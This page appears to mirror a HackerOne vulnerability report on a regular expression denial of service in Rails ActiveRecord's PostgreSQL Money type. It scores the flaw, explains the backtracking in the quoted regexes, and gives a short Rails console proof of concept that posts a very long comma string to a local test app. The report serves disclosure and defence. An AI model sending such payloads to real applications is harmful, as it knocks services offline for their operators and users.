Lucene search

K
hackeroneDee-seeH1:1023899
HistoryNov 01, 2020 - 2:22 p.m.

Ruby on Rails: Regular expression denial of service in ActiveRecord's PostgreSQL Money type

2020-11-0114:22:54
dee-see
hackerone.com
24

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.002 Low

EPSS

Percentile

54.3%

Summary

Hello team! The regular expressions used in the Money type to convert strings like -$100,000.00 to 100000 have an execution time with a quadratic growth proportional to the length of the string.

Causing the denial of service requires very long strings but if the parameter is in a post body that won’t be a problem.

Details

The regular expressions marked (1) and (2) in the following code are the vulnerable expressions

            case value
            when /^-?\D*[\d,]+\.\d{2}$/  # (1)
              value.gsub!(/[^-\d.]/, "")
            when /^-?\D*[\d.]+,\d{2}$/  # (2)
              value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
            end

This code is invoked when Rails saves a user-input value in a Money field. If we look at the first expression, the problem comes from this bit \D*[\d,]+. It matches “not a number” 0 or more times and then “a number or a ,” one or more times. The , can match both expressions so this is somewhat equivalent to ,*,+ as far as the attack is concerned and is where the O(n^2) execution time comes from.

Steps to reproduce

I’m going to assume PostgreSQL is installed and configured on the machine.

Now we’ll install the PostgreSQL ruby interface, setup a rails application and scaffold a view for the attack.

gem install pg
rails new moneydos --database=postgresql
cd moneydos
rails db:setup
rails g scaffold Money amount:money
rake db:migrate

Now in the rails console run these commands. (The same could be accomplished though the UI, but this is simpler for reproduction purpose)

app.host = 'localhost'
app.get '/money'
token = app.session[:_csrf_token]
app.post '/money/', params: {money: {amount: ("$" + ","*100000 + ".11!")}, authenticity_token: token}

The last line takes 40 seconds to execute on my machine. Add a 0 to the ","*100000 part and the CPU will pretty much spin forever. An attacker could repeat those requests many times to reach full saturation of the host’s CPU capabilities and achieve a complete denial of service.

Impact

Denial of service and 100% CPU usage in situations where a malicious user is able to input money amounts in a request body (web shops come to mind as the obvious target)

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.002 Low

EPSS

Percentile

54.3%